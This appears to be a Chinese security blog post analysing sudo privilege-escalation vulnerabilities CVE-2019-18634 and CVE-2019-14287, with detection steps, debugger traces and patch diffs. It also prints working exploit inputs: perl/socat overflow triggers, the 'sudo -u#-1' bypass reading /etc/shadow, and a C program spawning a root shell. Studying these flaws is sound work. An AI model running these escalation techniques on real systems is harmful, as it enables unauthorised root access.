sudo歷史漏洞回顧

sudo 的全稱是“superuserdo”,它是Linux系統(tǒng)管理指令,允許用戶在不需要切換環(huán)境的前提下以其它用戶的權(quán)限運(yùn)行應(yīng)用程序或命令,通常是以 root 用戶身份運(yùn)行命令,以減少 root 用戶的登錄和管理時(shí)間,同時(shí)提高安全性。

sudo的存在可以使用戶以root權(quán)限執(zhí)行命令而不必知道root用戶的密碼,還可以通過(guò)策略給予用戶部分權(quán)限。但sudo中如果出現(xiàn)漏洞,可能會(huì)使獲取部分權(quán)限或沒(méi)有sudo權(quán)限的用戶提升至root權(quán)限。近日,蘋(píng)果公司的研究員 Joe Vennix 在 sudo 中再次發(fā)現(xiàn)了一個(gè)重要漏洞,可導(dǎo)致低權(quán)限用戶或惡意程序以管理員(根)權(quán)限在 Linux 或 macOS 系統(tǒng)上執(zhí)行任意命令。奇安信CERT漏洞監(jiān)測(cè)平臺(tái)顯示,該漏洞熱度從2月4號(hào)起迅速上升,占據(jù)2月第一周漏洞熱度排行榜第一位。sudo在去年10月份被曝出的漏洞也是由Vennix發(fā)現(xiàn)的,該漏洞為sudo安全策略繞過(guò)漏洞,可導(dǎo)致惡意用戶或程序在目標(biāo) Linux 系統(tǒng)上以 root 身份執(zhí)行命令。該漏洞在去年10月份的熱度也很高。然后再早一些就是17年5月30日曝出的sudo本地提權(quán)漏洞,本地攻擊者可利用該漏洞覆蓋文件系統(tǒng)上的任何文件,從而獲取root權(quán)限。下面來(lái)回顧一下這些漏洞:

漏洞編號(hào) 漏洞危害 漏洞類型 POC公開(kāi) 需要密碼 常規(guī)配置 利用難度
CVE-2019-18634 權(quán)限提升 緩沖區(qū)溢出
CVE-2019-14287 權(quán)限提升 策略繞過(guò)
CVE-2017-1000367 任意文件讀寫(xiě)&&權(quán)限提升 邏輯缺陷

CVE-2019-18634 sudo pwfeedback 本地提權(quán)漏洞

漏洞簡(jiǎn)訊

近日,蘋(píng)果公司的研究員 Joe Vennix 在 sudo 中再次發(fā)現(xiàn)了一個(gè)重要漏洞,該漏洞依賴于某種特定配置,可導(dǎo)致低權(quán)限用戶或惡意程序以管理員(根)權(quán)限在 Linux 或 macOS 系統(tǒng)上執(zhí)行任意命令。

Vennix指出,只有sudoers 配置文件中設(shè)置了“pwfeedback”選項(xiàng)時(shí),才能利用該漏洞;當(dāng)用戶在終端輸入密碼時(shí), pwfeedback 功能會(huì)給出一個(gè)可視的反饋即星號(hào) (*)。

需要注意的是,pwfeedback功能在 sudo 或很多其它包的上游版本中并非默認(rèn)啟用。然而,某些 Linux 發(fā)行版本,如 Linux Mint 和 Elementary OS, 在 sudoers 文件中默認(rèn)啟用了該功能。

此外,當(dāng)啟用 pwfeedback 功能時(shí),任何用戶都可利用該漏洞,無(wú) sudo 許可的用戶也不例外。

影響范圍

Linux Mint 和 Elementary OS系統(tǒng)以及其它Linux、macOS系統(tǒng)下配置了pwfeedback選項(xiàng)的以下sudo版本受此漏洞影響:

1.7.1 <= sudo version < 1.8.31

需要注意的是,該漏洞影響sudo 1.8.31之前版本,但由于從sudo 1.8.26 版本開(kāi)始引入了EOF 處理,sudo_term_eof和sudo_term_kill都被初始化為0,sudo_term_eof總是先被處理,因而使用‘\x00’字符不再會(huì)進(jìn)入漏洞流程。但使用pty時(shí),sudo_term_eof和sudo_term_kill分別被初始化為0x4和0x15,因而可使用pty在這些版本上進(jìn)行利用。用戶可升級(jí)至最新版本1.8.31。

檢測(cè)方法

1、查看sudo是否配置了pwfeedback選項(xiàng),如果輸出中出現(xiàn)“pwfeedback”則代表配置了該選項(xiàng),需要在/etc/sudoers中找到它并刪除:

strawberry@ubuntu:~$ sudo -l
Matching Defaults entries for strawberry on ubuntu:
    env_reset, pwfeedback, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User strawberry may run the following commands on ubuntu:
    (ALL : ALL) ALL

2、低于1.8.26版本的sudo也可以通過(guò)以下命令進(jìn)行檢測(cè),如果出現(xiàn)Segmentation fault就代表存在漏洞:

strawberry@ubuntu:~$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
[sudo] password for strawberry: Segmentation fault (core dumped)

3、低于1.8.31版本的sudo也可通過(guò)以下命令進(jìn)行檢測(cè):

strawberry@ubuntu:~$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
[4] 82553
strawberry@ubuntu:~$ sudo -S id < /tmp/pty
[sudo] password for strawberry: Segmentation fault (core dumped)

漏洞分析

首先說(shuō)一下,這是在Ubuntu上進(jìn)行復(fù)現(xiàn)分析的,sudo版本為1.8.21p1。pwfeedback不是sudo的默認(rèn)配置,因而需要向/etc/sudoers文件中加入pwfeedback,開(kāi)啟此功能的sudo在用戶輸入密碼時(shí)會(huì)逐位顯示*號(hào):

Defaults        env_reset,pwfeedback

使用上面的第一個(gè)POC對(duì)sudo進(jìn)行調(diào)試分析:直接運(yùn)行程序,發(fā)現(xiàn)其崩在getln函數(shù)內(nèi)部,原因是無(wú)法訪問(wèn)0x560a0de9c000處的內(nèi)存。這里的cp是指向buf的指針,通過(guò)*cp++向該緩沖區(qū)中寫(xiě)入數(shù)據(jù)。此時(shí)buf的長(zhǎng)度為3392,顯然是在寫(xiě)入數(shù)據(jù)的過(guò)程中訪問(wèn)了無(wú)法訪問(wèn)的內(nèi)存而崩潰的。另外,buf位于bss段(大小為0x100),所以也不是傳說(shuō)中的棧溢出。

→ 0x560a0dc90298 <getln.constprop+376> mov    BYTE PTR [r15], dl
   0x560a0dc9029b <getln.constprop+379> add    r15, 0x1
   0x560a0dc9029f <getln.constprop+383> mov    QWORD PTR [rsp+0x8], r14
   0x560a0dc902a4 <getln.constprop+388> sub    r14, 0x1
   0x560a0dc902a8 <getln.constprop+392> test   r14, r14
   0x560a0dc902ab <getln.constprop+395> jne    0x560a0dc90188 <getln+104>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:./tgetpass.c+334 ────
    329         }
    330         continue;
    331         }
    332         ignore_result(write(fd, "*", 1));
    333     }
 →  334     *cp++ = c;
    335      }
    336      *cp = '\0';
    337      if (feedback) {
    338     /* erase stars */
    339     while (cp > buf) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x560a0dc90298 in getln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x560a0dc90298 → getln(fd=0x0, buf=0x560a0de9b2c0 <buf> 'A' <repeats 3392 times><error: Cannot access memory at address 0x560a0de9c000>, feedback=0x8, bufsiz=0x100)

下面我們來(lái)看一下,為什么可以向buf中復(fù)制超出邊界的數(shù)據(jù)。有一個(gè)要點(diǎn)是只有開(kāi)啟了pwfeedback選項(xiàng)的程序才會(huì)存在此漏洞,還有就是POC中每100個(gè)A后面跟一個(gè)\x00。來(lái)~上前面代碼:

static char * getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
    errno = EINVAL;
    debug_return_str(NULL);     /* sanity */
    }

    while (--left) {
    nr = read(fd, &c, 1);
    if (nr != 1 || c == '\n' || c == '\r')
        break;
    if (feedback) {
        if (c == sudo_term_kill) {
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
        }
        left = bufsiz;
        continue;
        } else if (c == sudo_term_erase) {
        if (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
            left++;
        }
        continue;
        }
        ignore_result(write(fd, "*", 1));
    }
    *cp++ = c;
    }
...

if語(yǔ)句中的feedback和pwfeedback選項(xiàng)是否開(kāi)啟相關(guān),假設(shè)沒(méi)有開(kāi)啟,會(huì)依次從用戶輸入中讀取一個(gè)字節(jié)c,然后執(zhí)行*cp++ = c,cp指向了buf,這樣就會(huì)將用戶輸入的密碼依次寫(xiě)入buf,由于left控制循環(huán)次數(shù),left為bufsiz,大小為0x100(如下所示),所以最多只能復(fù)制0xFF字節(jié)(最后一位為\x00),因此未開(kāi)啟pwfeedback選項(xiàng)的程序不會(huì)溢出。

.text:000000000001EEEC                 mov     eax, [rbp+input]
.text:000000000001EEF2                 mov     ecx, edx        ; feedback
.text:000000000001EEF4                 mov     edx, 100h       ; bufsiz
.text:000000000001EEF9                 lea     rsi, buf_5295   ; buf
.text:000000000001EF00                 mov     edi, eax        ; fd
.text:000000000001EF02                 call    getln

注意到sudo_term_kill這個(gè)條件判斷,如果程序開(kāi)啟了pwfeedback選項(xiàng),會(huì)先比較讀入的c是否等于sudo_term_kill,經(jīng)過(guò)調(diào)試可知這個(gè)值為0。所以POC中每100個(gè)A后面跟的\x00作用就在這里了,可以使程序進(jìn)入這個(gè)流程,由于fd為單向管道,所以write(fd, "\b \b", 3) 總是返回-1,這樣就會(huì)直接跳出循環(huán),因而cp還是指向之前的地方。緊接著執(zhí)行重要的兩句是left = bufsiz和continue,可以將left重新置為0x100,然后跳出本次循環(huán)。因而只要在小于0xFF的數(shù)據(jù)之間連接\x00就可以不斷向buf中寫(xiě)入數(shù)據(jù),超出buf范圍,直到訪問(wèn)到不可讀內(nèi)存觸發(fā)異常。

    if (feedback) {
        if (c == sudo_term_kill) {
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
        }
        left = bufsiz;
        continue;
        } 

1.8.26 至1.8.30 版本的sudo加入了sudo_term_eof的條件判斷,如果讀取的字符為\x00就結(jié)束循環(huán),這使得\x00這個(gè)橋梁不再起作用。

    if (feedback) {
        if (c == sudo_term_eof) {
        nr = 0;
        break;
        } else if (c == sudo_term_kill) {
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
        }
        left = bufsiz;
        continue;
        }

但如果使用了pty,sudo_term_eof和sudo_term_kill分別被初始化為0x4和0x15,這樣\x15又可以成為新的橋梁。

Breakpoint 1, getln (fd=0x0, buf=0x55a4f1d534e0 <buf> "", feedback=0x8, errval=0x7fff1c5b8acc, bufsiz=0x100) at ./tgetpass.c:376
376 getln(int fd, char *buf, size_t bufsiz, int feedback,
gef?  p sudo_term_eof
$1 = 0x4
gef?  p sudo_term_kill
$2 = 0x15
gef?  p sudo_term_erase
$4 = 0x7f

下面是修補(bǔ)后的函數(shù)流程,這里最后將cp又重新指向buf,這樣又可以通過(guò)bufsiz控制循環(huán)了,\x15的作用就只是重置本次密碼讀取了。

if (feedback) {
        if (c == sudo_term_eof) {
        nr = 0;
        break;
        } else if (c == sudo_term_kill) {
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            cp--;
        }
        cp = buf;
        left = bufsiz;
        continue;
        } 

漏洞利用

1、user_details覆蓋
前面分析的時(shí)候可知,buf位于bss段,其后面存在以下數(shù)據(jù)結(jié)構(gòu):

buffer              256
askpass             32
signo               260 
tgetpass_flags      28
user_details        104

其中,user_details位于buf偏移0x240處,其偏移0x14處為用戶的uid(這里為0x3e8,十進(jìn)制為1000,即用戶strawberry的id):

gef?  x/26wx &user_details
0x562eb2410500 <user_details>:  0x00015c5e  0x00015c57  0x00015c5e  0x00015c5e
0x562eb2410510 <user_details+16>:   0x00015c4a  0x000003e8  0x00000000  0x000003e8
0x562eb2410520 <user_details+32>:   0x000003e8  0x00000000  0xb3f39605  0x0000562e
0x562eb2410530 <user_details+48>:   0xb3f39894  0x0000562e  0xb3f398d4  0x0000562e
0x562eb2410540 <user_details+64>:   0xb3f39945  0x0000562e  0xb3f39620  0x0000562e
0x562eb2410550 <user_details+80>:   0xb3f397d0  0x0000562e  0x00000008  0x0000009f
0x562eb2410560 <user_details+96>:   0x00000033  0x00000000

gef?  p user_details
$3 = {
  pid = 0x15c5e, 
  ppid = 0x15c57, 
  pgid = 0x15c5e, 
  tcpgid = 0x15c5e, 
  sid = 0x15c4a, 
  uid = 0x3e8, 
  euid = 0x0, 
  gid = 0x3e8, 
  egid = 0x3e8, 
  username = 0x562eb3f39605 "strawberry", 
  cwd = 0x562eb3f39894 "/home/strawberry/Desktop/sudo-SUDO_1_8_21p1/build2", 
  tty = 0x562eb3f398d4 "/dev/pts/2", 
  host = 0x562eb3f39945 "ubuntu", 
  shell = 0x562eb3f39620 "/bin/bash", 
  groups = 0x562eb3f397d0, 
  ngroups = 0x8, 
  ts_cols = 0x9f, 
  ts_lines = 0x33
}

測(cè)試:在sudo運(yùn)行的過(guò)程中將uid的值改為0,那用戶就可以獲取root權(quán)限。因而我們需要想辦法利用溢出將其uid覆蓋為0。

Hardware access (read/write) watchpoint 2: *0x56234e1d5514
Old value = 0x0
New value = 0x3e8
get_user_info (ud=0x56234e1d5500 <user_details>) at ./sudo.c:517
517     ud->euid = geteuid();
gef?  set ud->uid = 0
gef?  c
Continuing.
process 89879 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(strawberry)

如果想通過(guò)buf將數(shù)據(jù)覆蓋到user_details,中間必須經(jīng)過(guò)signo。而在getln函數(shù)執(zhí)行完成后會(huì)返回到tgetpass函數(shù)中,如果signo結(jié)構(gòu)中的某些值不為0,那程序就存在被kill掉的風(fēng)險(xiǎn)。如果采用第一種驗(yàn)證思路,使用“\x00”作為橋梁,就不可能將0寫(xiě)入signo結(jié)構(gòu)中,更不能將uid覆蓋為0,我和我的小伙伴們就在這里卡住了。

    for (i = 0; i < NSIG; i++) {
    if (signo[i]) {
        switch (i) {
        case SIGALRM:
            break;
        case SIGTSTP:
        case SIGTTIN:
        case SIGTTOU:
            if (suspend(i, callback) == 0)
            need_restart = true;
            break;
        default:
            kill(getpid(), i);
            break;
        }
    }
    }

幸運(yùn)的是,第二天看到了關(guān)于漏洞的補(bǔ)充說(shuō)明。然而,這調(diào)試有點(diǎn)難度,調(diào)試的時(shí)候在讀取密碼上總是返回0。不過(guò),只是想覆蓋user_details而已,我可以使用“\x15”作為橋梁向sudo輸送5000個(gè)0嘛(偷個(gè)懶),程序肯定收到SIGSEGV信號(hào),這時(shí)候再看uid是否被覆蓋就可以了。uid被成功覆蓋為0。

─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x563f1d558298 in getln (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────
getln (fd=fd@entry=0x0, buf=buf@entry=0x563f1d7632c0 <buf> "", feedback=feedback@entry=0x8, bufsiz=0x100) at ./tgetpass.c:334
334     *cp++ = c;
gef?  p user_details 
$1 = {
  pid = 0x0, 
  ppid = 0x0, 
  pgid = 0x0, 
  tcpgid = 0x0, 
  sid = 0x0, 
  uid = 0x0, 
  euid = 0x0, 
  gid = 0x0, 
  egid = 0x0, 
  username = 0x0, 
  cwd = 0x0, 
  tty = 0x0, 
  host = 0x0, 
  shell = 0x0, 
  groups = 0x0, 
  ngroups = 0x0, 
  ts_cols = 0x0, 
  ts_lines = 0x0
}

2、SUDO_ASKPASS設(shè)置
然后把數(shù)據(jù)量變小,使其可以覆蓋到user_details,又不會(huì)使程序崩潰。出現(xiàn)了如下結(jié)果,提示沒(méi)有指定輸入方式,第一次使用了標(biāo)準(zhǔn)輸入,當(dāng)sudo檢查密碼錯(cuò)了之后會(huì)提示再次輸入,正常情況下是不會(huì)有問(wèn)題的,可能是因?yàn)閯偛艑⒛硞€(gè)值覆蓋為0了:

strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_21p1/build2/bin$ ./sudo -S id < /tmp/pty
Password: 
Sorry, try again.
sudo: no tty present and no askpass program specified
sudo: 1 incorrect password attempt

這篇文章中提到了SUDO_ASKPASS的使用,很妙~ 首先使用pty設(shè)置密碼,通過(guò)溢出將uid設(shè)置為0,并且將密碼讀取方式改為ASKPASS。這樣在后面的循環(huán)中就會(huì)使用指定的SUDO_ASKPASS程序,并將其uid設(shè)置為0。當(dāng)然,ASKPASS環(huán)境變量是提前設(shè)置好的。關(guān)鍵的一點(diǎn)是要將我之前設(shè)置為0的tgetpass_flags設(shè)置為4。最后簡(jiǎn)單提一下SUDO_ASKPASS程序里的內(nèi)容,最關(guān)鍵的就是 set uid 并執(zhí)行shell了。這樣執(zhí)行SUDO_ASKPASS程序就可以獲取root shell。

/*
 * Flags for tgetpass()
 */
#define TGP_NOECHO  0x00        /* turn echo off reading pw (default) */
#define TGP_ECHO    0x01        /* leave echo on when reading passwd */
#define TGP_STDIN   0x02        /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04        /* read from askpass helper program */
#define TGP_MASK    0x08        /* mask user input when reading */
#define TGP_NOECHO_TRY  0x10        /* turn off echo if possible */

科普:上面是tgetpass各個(gè)flag的宏定義,其中ASKPASS值為4,STDIN值為2,分別對(duì)應(yīng)了 -A 和 -S 選項(xiàng)。

 →  507      if (ISSET(tgetpass_flags, TGP_STDIN) && ISSET(tgetpass_flags, TGP_ASKPASS)) {
    508         sudo_warnx(U_("the `-A' and `-S' options may not be used together"));
    509         usage(1);
    510      }

3、漏洞復(fù)現(xiàn)
使用有sudo權(quán)限的用戶進(jìn)行測(cè)試,成功獲取root權(quán)限。

strawberry@ubuntu:~/Desktop$ sh exp_test.sh 
[sudo] password for strawberry: 
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

使用沒(méi)有sudo權(quán)限的testtest用戶進(jìn)行測(cè)試,成功獲取root權(quán)限。

testtest@ubuntu:~$ sh exp_test.sh 
[sudo] password for testtest: 
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
root@ubuntu:/home/testtest# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)

漏洞總結(jié)

當(dāng)sudo配置了“pwfeedback”選項(xiàng)時(shí),如果用戶通過(guò)管道等方式傳入密碼,sudo會(huì)在一定范圍內(nèi)判斷密碼中是否存在sudo_term_kill,如果存在,則重置復(fù)制長(zhǎng)度,但指向緩沖區(qū)的指針沒(méi)有歸到原位,用戶可發(fā)送帶有sudo_term_kill字符的超長(zhǎng)密碼來(lái)觸發(fā)此緩沖區(qū)溢出漏洞。攻擊者可利用特制的超長(zhǎng)密碼覆蓋位于密碼存儲(chǔ)緩沖區(qū)后面的user_details結(jié)構(gòu),從而獲取root權(quán)限。

參考文章

https://www.openwall.com/lists/oss-security/2020/01/30/6
https://securityaffairs.co/wordpress/97265/breaking-news/sudo-cve-2019-18634-flaw.html
https://mp.weixin.qq.com/s/QUyh3mSuw1aZ4CVjx7Lzfw
https://www.sudo.ws/alerts/pwfeedback.html
https://dylankatz.com/Analysis-of-CVE-2019-18634/

CVE-2019-14287 sudo 權(quán)限繞過(guò)漏洞

漏洞簡(jiǎn)訊

2019年10月14日,sudo曝出權(quán)限繞過(guò)漏洞,漏洞編號(hào)為CVE-2019-14287。該漏洞也是由蘋(píng)果公司的研究員 Joe Vennix發(fā)現(xiàn)的,可導(dǎo)致惡意用戶或程序在目標(biāo) Linux 系統(tǒng)上以 root 身份執(zhí)行命令。不過(guò)此漏洞僅影響sudo的特定非默認(rèn)配置,典型的配置如下所示:

someuser myhost =(ALL, !root)/usr/bin/somecommand

此配置允許用戶“someuser”以除root外的任何其他用戶身份運(yùn)行somecommand?!皊omeuser”可使用ID來(lái)指定目標(biāo)用戶,并以該用戶的身份來(lái)運(yùn)行指定命令。但由于漏洞的存在,“someuser”可指定ID為-1或4294967295,從而以root用戶身份來(lái)運(yùn)行somecommand。以這種方式運(yùn)行的命令的日志項(xiàng)將目標(biāo)用戶記錄為4294967295,而不是root。此外,在這個(gè)過(guò)程中,PAM會(huì)話模塊將不會(huì)運(yùn)行。

另外,sudo的其他配置,如允許用戶以任何用戶身份運(yùn)行命令的配置(包括root用戶),或允許用戶以特定其他用戶身份運(yùn)行命令的配置均不受此漏洞影響。

影響范圍

1.8.28版本之前且具有特定配置的sudo受此漏洞影響

檢測(cè)方法

檢查/etc/sudoers文件中是否存在以下幾種配置,如果存在建議刪除該配置或升級(jí)到1.8.28及之后版本:

1. someuser ALL=(ALL, !root) /usr/bin/somecommand
2. someuser ALL=(ALL, !#0) /usr/bin/somecommand
3. Runas_Alias MYGROUP = root, adminuser
   someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand

漏洞復(fù)現(xiàn)

這個(gè)漏洞復(fù)現(xiàn)比較簡(jiǎn)單,所以先復(fù)現(xiàn)再分析吧~ 首先要配置漏洞環(huán)境來(lái)進(jìn)行測(cè)試,在此之前添加一個(gè)測(cè)試賬戶testtest,另外,sudo 版本依然為1.8.21p1。然后在/etc/sudoers文件中加入testtest ALL=(ALL, !root) /usr/bin/id,這樣允許testtest用戶可以以除了root用戶之外的任意用戶的身份來(lái)運(yùn)行id命令。

正常情況下,testtest用戶可以直接執(zhí)行id命令,也可以用其它用戶身份(除root外)執(zhí)行id命令。

testtest@ubuntu:/home/strawberry$ id
uid=1001(testtest) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#1111 id
[sudo] password for testtest:       
uid=1111 gid=1001(testtest) groups=1001(testtest)

testtest@ubuntu:/home/strawberry$ sudo -u root id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.
testtest@ubuntu:/home/strawberry$ sudo -u#0 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.

而如果testtest用戶指定以ID為-1或4294967295的用戶來(lái)運(yùn)行id命令,則會(huì)以root權(quán)限來(lái)運(yùn)行。這是因?yàn)?sudo命令本身就已經(jīng)以用戶 ID 為0 運(yùn)行,因此當(dāng) sudo 試圖將用戶 ID 修改成 -1時(shí),不會(huì)發(fā)生任何變化。并且 sudo 日志條目將該命令報(bào)告為以用戶 ID 為 4294967295而非 root 運(yùn)行命令。此外,由于通過(guò)–u 選項(xiàng)指定的用戶 ID 并不存在于密碼數(shù)據(jù)庫(kù)中,因此不會(huì)運(yùn)行任何 PAM 會(huì)話模塊。

testtest@ubuntu:/home/strawberry$ sudo -u#-1 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#4294967295 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)

另外,如果文件中配置了testtest ALL=(ALL, !root) /usr/bin/vi這種語(yǔ)句,可能使該用戶獲取使用機(jī)密文件的權(quán)限,如/etc/shadow。如果配置了testtest ALL=(ALL, !root) ALL,testtest用戶將會(huì)獲得root權(quán)限(這種配置應(yīng)該很少出現(xiàn)的吧):

testtest@ubuntu:/home/strawberry$ sudo -u#-1 sh
[sudo] password for testtest:       
# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
# cat /etc/shadow 
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...

漏洞分析

漏洞補(bǔ)丁中尋找關(guān)于-1的處理改動(dòng),下面這兩段代碼位于lib/util/strtoid.c中的sudo_strtoid_v1 函數(shù)(分別為處理64位和32位的兩個(gè)函數(shù)),補(bǔ)丁加入了對(duì) -1 和 UINT_MAX(4294967295)的判斷,如果不是才會(huì)放行。

64位 sudo_strtoid_v1 函數(shù)

32位 sudo_strtoid_v1 函數(shù)

在command_info_to_details中,通過(guò)調(diào)用sudo_strtoid_v1函數(shù)獲取用戶指定id,并存入details->uid中。

    743         if (strncmp("runas_uid=", info[i], sizeof("runas_uid=") - 1) == 0) {
    744             cp = info[i] + sizeof("runas_uid=") - 1;
    745             id = sudo_strtoid(cp, NULL, NULL, &errstr);
    746             if (errstr != NULL)
    747             sudo_fatalx(U_("%s: %s"), info[i], U_(errstr));
    748             details->uid = (uid_t)id;
               // details=0x00007fff2110e4e0  →  [...]  →  0x00000000ffffffff
 →  749             SET(details->flags, CD_SET_UID);
    750             break;
    751         }
    752  #ifdef HAVE_PRIV_SET
    753         if (strncmp("runas_privs=", info[i], sizeof("runas_privs=") - 1) == 0) {
    754                      const char *endp;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b02e61 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b02e61 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
749             SET(details->flags, CD_SET_UID);
1: *details = {
  uid = 0xffffffff, 
  euid = 0x0, 
  gid = 0x0, 
  egid = 0x0,
  ...

然后使用details->uid賦值details->euid,此時(shí)結(jié)構(gòu)中的uid和euid均為0xffffffff。

    808      if (!ISSET(details->flags, CD_SET_EUID))
    809     details->euid = details->uid;
             // details=0x00007fff2110e4e0  →  [...]  →  0xffffffffffffffff
 →  810      if (!ISSET(details->flags, CD_SET_EGID))
    811     details->egid = details->gid;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b03741 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b03741 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
810     if (!ISSET(details->flags, CD_SET_EGID))
1: *details = {
  uid = 0xffffffff, 
  euid = 0xffffffff, 
  ...

調(diào)試發(fā)現(xiàn),在main函數(shù)中,程序先使用setuid(ROOT_UID)將uid設(shè)置為0,然后執(zhí)行run_command(&command_details),然后依次執(zhí)行sudo_execute -> exec_cmnd -> exec_setup。PS:這里的command_details就是command_info_to_details中保存的details。

    286         if (ISSET(sudo_mode, MODE_BACKGROUND))
    287         SET(command_details.flags, CD_BACKGROUND);
    288         /* Become full root (not just setuid) so user cannot kill us. */
    289         if (setuid(ROOT_UID) == -1)
    290         sudo_warn("setuid(%d)", ROOT_UID);
 →  291         if (ISSET(command_details.flags, CD_SUDOEDIT)) {
    292         status = sudo_edit(&command_details);
    293         } else {
    294         status = run_command(&command_details);
    295         }
    296         /* The close method was called by sudo_edit/run_command. */
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x55fb48d3d707 in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55fb48d3d707 → main(argc=0x3, argv=0x7ffdc681cd08, envp=0x7ffdc681cd28)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
291         if (ISSET(command_details.flags, CD_SUDOEDIT)) {
gef?  p command_details
$3 = {
  uid = 0xffffffff, 
  euid = 0xffffffff, 
  gid = 0x3e8, 
  egid = 0x3e8, 
  ...

在exec_setup函數(shù)中存在如下語(yǔ)句,程序會(huì)使用details結(jié)構(gòu)中的uid信息來(lái)設(shè)置uid,在調(diào)試環(huán)境下使用的是setresuid函數(shù)(第一個(gè)),它可以設(shè)置用戶的uid、euid和suid,但如果某個(gè)參數(shù)為-1,就不會(huì)改變?cè)搮?shù)對(duì)應(yīng)的id值。然而details->uid和details->euid均為-1。

#if defined(HAVE_SETRESUID)
    if (setresuid(details->uid, details->euid, details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->uid, (unsigned int)details->euid);
    goto done;
    }
#elif defined(HAVE_SETREUID)
    if (setreuid(details->uid, details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->uid, (unsigned int)details->euid);
    goto done;
    }
#else
    /* Cannot support real user ID that is different from effective user ID. */
    if (setuid(details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->euid, (unsigned int)details->euid);
    goto done;

測(cè)試:編譯如下測(cè)試程序,并賦予其與sudo相同的權(quán)限,以便模擬sudo程序中先執(zhí)行setuid(0),然后再執(zhí)行setresuid(-1, -1, -1)的場(chǎng)景。使用testtest用戶運(yùn)行該程序,成功獲取root權(quán)限。PS:如果你設(shè)置的id為1234的話,程序就會(huì)執(zhí)行setresuid(0x4d2, 0x4d2, 0x4d2),這樣你的uid就被設(shè)置為1234了。

include <stdio.h>

int main() {
  setuid(0);
  setresuid(-1, -1, -1);
  execve("/bin/bash",NULL,NULL);
  return 0;
}
testtest@ubuntu:/home/strawberry/Desktop$ ./testid
root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
root@ubuntu:/home/strawberry/Desktop# cat /etc/shadow
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...

漏洞總結(jié)

